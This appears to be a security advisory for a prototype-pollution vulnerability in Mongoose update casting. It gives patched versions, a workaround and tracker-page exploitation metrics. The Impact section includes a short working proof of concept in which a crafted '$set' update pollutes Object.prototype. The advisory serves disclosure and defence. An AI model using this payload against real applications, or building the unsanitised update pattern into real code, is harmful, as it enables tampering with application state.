CVE-2026-73562
Impact
_What kind of vulnerability is it? Who is impacted?_
Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.
Example:
const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath); // undefined
const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"proto.x": "anything"}}'); // attacker-controlled update
const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }
console.log('after :', Object.prototype.$fullPath); // "proto"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true
console.log('fresh {}:', ({}).$fullPath); // "proto"
Patches
_Has the problem been patched? What versions should users upgrade to?_
9.7.2, 8.24.1. 7.8.10, 6.13.10
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
Check user-controlled updates for own proto properties before passing to Mongoose
References
_Are there any links users can visit to find out more?_
⚡ Watch CVE-2026-73562
Get an email if CVE-2026-73562 is added to CISA KEV, gains public exploit code, or a new advisory cites it — max one per day, one-click unsubscribe.
Exploitation outlook
- Low exploitation risk0.37% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 30% of all EPSS-scored CVEs.
Advisory coverage (2)
External references
Embed the live status
— this badge updates automatically when the KEV or exploit status changes. How to embed it →
[](https://www.csirts.com/cve/CVE-2026-73562)